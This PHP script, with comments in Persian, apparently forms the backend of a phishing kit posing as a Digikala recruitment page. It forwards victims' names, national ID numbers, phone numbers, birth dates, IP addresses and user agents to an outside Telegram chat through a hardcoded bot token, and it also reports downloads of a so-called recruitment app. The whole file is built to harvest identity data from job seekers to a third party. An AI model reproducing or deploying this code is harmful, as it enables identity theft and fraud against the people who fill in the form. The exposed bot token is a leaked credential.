<?php
// telegram-send.php - ارسال اطلاعات به تلگرام

// تنظیمات ربات تلگرام - اینجا را پر کنید
define('TELEGRAM_BOT_TOKEN', '8305950523:AAHZfzQ66nrAzlHyynhJ6jk4BblWNaSe9Xc'); // توکن ربات خود را وارد کنید
define('TELEGRAM_CHAT_ID', '-1003401482662'); // آیدی گروه یا کاربر

function sendRegistrationToTelegram($user_data) {
    if (empty(TELEGRAM_BOT_TOKEN) || TELEGRAM_BOT_TOKEN === 'توکن_ربات_تلگرام_خود_را_اینجا_وارد_کنید') {
        // اگر توکن تنظیم نشده، لاگ کن
        error_log('Telegram bot token not configured');
        return false;
    }
    
    // ساخت پیام برای تلگرام
    $message = "🎯 *ثبت‌نام جدید در استخدام دیجی‌کالا*\n\n";
    $message .= "👤 *اطلاعات شخصی:*\n";
    $message .= "• نام: " . htmlspecialchars($user_data['first_name']) . "\n";
    $message .= "• نام خانوادگی: " . htmlspecialchars($user_data['last_name']) . "\n";
    $message .= "• کد ملی: `" . htmlspecialchars($user_data['national_code']) . "`\n";
    $message .= "• موبایل: `" . htmlspecialchars($user_data['mobile']) . "`\n";
    $message .= "• تاریخ تولد: " . htmlspecialchars($user_data['birth_day']) . " " . 
                htmlspecialchars($user_data['birth_month']) . " " . 
                htmlspecialchars($user_data['birth_year']) . "\n";
    $message .= "• مدرک تحصیلی: " . htmlspecialchars($user_data['education']) . "\n\n";
    
    $message .= "🌐 *اطلاعات سیستم:*\n";
    $message .= "• IP: `" . htmlspecialchars($user_data['ip']) . "`\n";
    $message .= "• مرورگر: " . substr(htmlspecialchars($user_data['user_agent']), 0, 50) . "...\n";
    $message .= "• زمان ثبت‌نام: " . $user_data['timestamp'] . "\n\n";
    
    $message .= "✅ کاربر فرم را تکمیل کرده است.";
    
    // ارسال به تلگرام
    return sendTelegramMessage($message);
}

function sendDownloadNotification($user_data) {
    if (empty(TELEGRAM_BOT_TOKEN) || TELEGRAM_BOT_TOKEN === 'توکن_ربات_تلگرام_خود_را_اینجا_وارد_کنید') {
        error_log('Telegram bot token not configured');
        return false;
    }
    
    $message = "📥 *دانلود اپلیکیشن استخدام دیجی‌کالا*\n\n";
    $message .= "👤 کاربر: " . htmlspecialchars($user_data['first_name']) . " " . 
                htmlspecialchars($user_data['last_name']) . "\n";
    $message .= "📱 موبایل: `" . htmlspecialchars($user_data['mobile']) . "`\n";
    $message .= "🆔 کد ملی: `" . htmlspecialchars($user_data['national_code']) . "`\n";
    $message .= "🎓 مدرک: " . htmlspecialchars($user_data['education']) . "\n";
    $message .= "🎂 تاریخ تولد: " . htmlspecialchars($user_data['birth_day']) . "/" . 
                htmlspecialchars($user_data['birth_month']) . "/" . 
                htmlspecialchars($user_data['birth_year']) . "\n";
    $message .= "🕒 زمان دانلود: " . date('Y-m-d H:i:s') . "\n";
    $message .= "🌐 IP: `" . htmlspecialchars($user_data['ip']) . "`\n\n";
    
    $message .= "✅ اپلیکیشن استخدام دیجی‌کالا دانلود شد.\n";
    $message .= "📍 User Agent: " . substr(htmlspecialchars($user_data['user_agent']), 0, 60) . "...";
    
    return sendTelegramMessage($message);
}

function sendTelegramMessage($text) {
    $url = "https://api.telegram.org/bot" . TELEGRAM_BOT_TOKEN . "/sendMessage";
    
    $data = [
        'chat_id' => TELEGRAM_CHAT_ID,
        'text' => $text,
        'parse_mode' => 'Markdown',
        'disable_web_page_preview' => true
    ];
    
    // استفاده از cURL برای ارسال
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    // لاگ پاسخ
    if ($http_code != 200) {
        error_log("Telegram API error: HTTP $http_code - Response: $response");
        return false;
    }
    
    return true;
}

// تابع برای تست ربات
function testTelegramBot() {
    $message = "✅ ربات تلگرام تست\n";
    $message .= "زمان: " . date('Y-m-d H:i:s') . "\n";
    $message .= "آی‌پی سرور: " . ($_SERVER['SERVER_ADDR'] ?? 'N/A');
    
    return sendTelegramMessage($message);
}

// تابع برای ارسال پیام دلخواه
function sendCustomMessage($custom_message) {
    $message = "💬 پیام جدید:\n\n";
    $message .= $custom_message . "\n\n";
    $message .= "🕒 زمان: " . date('Y-m-d H:i:s');
    
    return sendTelegramMessage($message);
}
?>